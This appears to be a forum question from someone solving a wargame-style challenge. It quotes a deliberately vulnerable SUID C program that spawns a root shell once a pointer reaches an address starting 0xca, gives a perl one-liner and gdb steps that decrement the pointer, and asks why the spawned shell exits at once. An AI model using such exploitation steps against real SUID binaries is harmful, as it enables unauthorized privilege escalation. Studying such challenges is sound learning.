I am trying to exploit a SUID program.
The program is:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n':
print(buf, sizeof(buf)); continue; break;
case '\\':
ptr--; break;
default:
e();
if(ptr > buf + sizeof(buf))
continue;
ptr++[0] = x; break;
}
}
printf("All done\n");
}
We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa >> file # So that e() is called which actually spawns the shell
And finally in gdb,
run < file
However instead of spawning a shell gdb is saying
process <some number> is executing new program /bin/dash
inferior 1 exited normally
And then back to gdb prompt instead of getting a shell. I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.
Also if I pipe this outside of gdb, nothing happens.
./vulnProg < file
Bash prompt returns back.
Please tell me where am I making mistake.
